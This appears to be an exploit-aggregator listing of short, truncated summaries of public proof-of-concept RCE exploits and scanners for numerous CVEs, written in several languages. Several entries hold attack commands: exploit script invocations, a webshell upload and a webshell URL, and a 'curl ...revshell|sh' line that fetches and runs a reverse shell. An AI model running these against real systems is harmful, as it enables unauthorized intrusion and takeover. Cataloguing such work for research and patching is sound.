CVE-2015-4133

CVE-2015-4133 CVE 2015-4133 - Reflex Gallery 3.1.3, произвольная загрузка файлов, ведущая к RCE Описание Reflex Gallery — это плагин для WordPress, в версии 3.1.3 которого присутствует уязвимость, позволяющая атакующим легко загружать произвольные файлы, например PHP-код, для достижения удалённог...

CVE-2022-0185

CVE-2022-0185 Ce dépôt contient des exploits de démonstration pour CVE-2022-0185. Il y a deux versions ici. La version non-kctf version fuse cible spécifiquement Ubuntu avec la version de noyau 5.11.0-44. Elle ne donne pas directement un shell root, mais rend /bin/bash suid, ce qui mène à une...

CVE-2024-23113

CVE-2024-23113 Скрипт предназначен для обнаружения CVE-2024-23113 — уязвимости форматной строки в сервисе FGFM FortiGate протокол FortiGate to FortiManager, работающем на TCP-порту 541. Уязвимость возникает из-за того, что атакующий может управлять форматной строкой, что может привести к удалённо...

CVE-2025-53770

CVE-2025-53770 This is a multiple site scanner for CVE-2025-53770 Unauthenticated RCE Vulnerability. Other scanners/PoCs:- https://github.com/hazcod/CVE-2025-53770 https://github.com/MuhammadWaseem29/CVE-2025-53770 CVE-2025-53770 Sharepoint RCE Impact: Unauthenticated attackers can achieve remote...

CVE-2023-38646

CVE-2023-38646 Metabase Pre-auth RCE!! Check Manual Exploitation POC: https://youtu.be/b51LPjD-uTo...

CVE-2025-9074-Poc

Docker API Неавторизованный RCE CVE-2025-9074 Критическая уязвимость CVE-2025-9074 в Docker Desktop позволяет локально запущенным контейнерам Linux подключаться к API Docker Engine через подсеть по умолчанию 192.168.65.7:2375. Проблема сохраняется независимо от настроек Enhanced Container Isolati...

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 TerraMaster TOS unauthenticated RCE via PHP Object Instantiation Usage Vulnerability Detection. root@kitploit: python CVE-2022-24990.py -u http://127.0.0.1:8080 Upload a PHP webshell. root@kitploit: python CVE-2022-24990.py -a http://127.0.0.1:8080 Reference...

CVE-2021-30461

Produits concernés VoIPmonitor 24.60 Comment exécuter une RCE root@kitploit: python3 CVE-2021-30461.py -t ipaddress Shell dans le navigateur : root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami Référence https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC 该漏洞允许具有网络访问权限的攻击者在无需事先认证的情况下，对 Erlang/OTP SSH 服务器执行任意代码。 描述 已在 Erlang/OTP SSH 服务器中发现一个严重漏洞，可能允许攻击者执行未经认证的远程代码执行（RCE）。通过利用 SSH 协议消息处理中的缺陷，恶意行为者可在没有有效凭据的情况下获得对受影响系统的未授权访问并执行任意命令。这可能导致目标主机被攻陷，使第三方能够未经授权访问和操纵敏感数据，或发起拒绝服务攻击。 受影响版本 root@kitploit: OTP-27.3.2 and...

CVE-2024-7627

CVE-2024-7627 익스플로잇 — Bit File Manager WordPress 비인증 RCE 익스플로잇 📌 설명 이 저장소는 Bit File Manager WordPress 플러그인버전 6.0 – 6.5.5에서 발견된 치명적인 비인증 원격 코드 실행RCE 취약점인 CVE-2024-7627 에 대한 개념 증명PoC 익스플로잇을 포함합니다. Guest User Read 기능이 활성화되면 플러그인은 checkSyntax 함수 내부에 레이스 컨디션을 노출합니다. 이 함수는 검증 전에 임시 PHP 파일을...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 설명 이 스크립트는 Apache Commons Text버전 -param $PARAMETER -L $LHOST -P $LPORT 예시 root@kitploit: python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 면책 조항 이 도구는 교육 목적과 공인된 침투 테스트만을 위해 제작되었습니다. 저자는 이 스크립트로 인한 오용이나 피해에 대해 책임을 지지 않습니다...

CVE-2025-22457

CVE-2025-22457 CVE-2025-22457: Ivanti Connect Secure RCE 탐지를 위한 Python 익스플로잇 POC 스캐너 이 스크립트는 CVE-2025-22457 에 취약할 수 있는 Ivanti Connect Secure, Policy Secure 또는 ZTA 게이트웨이를 식별하는 데 도움을 줍니다. 이 취약점은 조작된 X-Forwarded-For 헤더를 통해 웹 프로세스에서 트리거되는 심각한 비인증 스택 기반 버퍼 오버플로우입니다. 또한 HTTP 응답에서 버전 정보를 스크래핑하여 원격 대상의 버...

follina

follina POC Все о CVE-2022-30190, также известной как follina, которая является RCE-уязвимостью, затрагивающей Microsoft Support Diagnostic Tools MSDT в приложениях Office, таких как Word. Это очень простой POC, не стесняйтесь ознакомиться с источниками ниже для получения дополнительной информаци...

CVE-2023-35803

CVE-2023-35803 - RCE non authentifiée dans les points d'accès sans fil Extreme Networks/Aerohive PoC pour les points d'accès basés sur ARM exécutant HiveOS/IQ Engine "curl :8000/revshell|sh" Article complet ici : https://research.aurainfosec.io/pentest/bee-yond-capacity/...

PoC-CVE-2025-26529

PoC pour CVE-2025-26529 – Exploitation XSS vers RCE dans Moodle Ceci est une preuve de concept PoC démontrant la chaîne de vulnérabilités SSRF vers XSS → XSS vers RCE dans Moodle. Aperçu J'ai téléchargé tous les fichiers nécessaires pour démontrer la chaîne complète d'exploitation : 1. SSRF vers...

coldfusion-10-11-xss

ColdFusion 10.x 11.x XSS - RCE PoC Exploits Ce dépôt contient des vecteurs XSS pour CVE-2015-0345 APSB15-07 permettant d'obtenir une exécution de commande à distance sur des installations ColdFusion. Cette exploitation n'est valable que pour les installations ColdFusion 10 et 11. Plus précisément...

CVE-2026-33439

🐞 CVE-2026-33439: RCE без аутентификации в OpenAM через десериализацию jato.clientSession Анализ человеком + помощь ИИ + reverse engineering + advisory → эксплойт Первая публично опубликованная реализация эксплойта для CVE-2026-33439 Неаутентифицированная уязвимость десериализации Java в ForgeRoc...

CVE-2025-53770

SharePoint ToolPane RCE 익스플로잇 SharePoint ToolPane 취약점 테스트를 위한 보안 연구 툴킷 Overview • Features • Getting started • Usage • Project structure 이 저장소는 SharePoint ToolPane 취약점CVE-2025-53770에 대한 개념 증명 익스플로잇 및 분석 도구를 포함합니다. 이 프로젝트는 Microsoft SharePoint Server에 영향을 미치는 인증 우회 및 안전하지 않은 역직렬화 취약점을 포함한 익스플로잇 기술...

CVE-2020-35728

Description FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl. How to RCE pom.xml...

CVE-2025-34322_CVE-2025-34323_Nagios_Log_Server

CVE-2025-34322 и CVE-2025-34323 Nagios Log Server Эксплойты Proof of Concept для CVE-2025-34322 и CVE-2025-34323 в Nagios Log Server, а также комбинированный скрипт для получения оболочки с правами root. CVE-2025-34322 После аутентификации замените ваш идентификатор сессии в этих двух командах...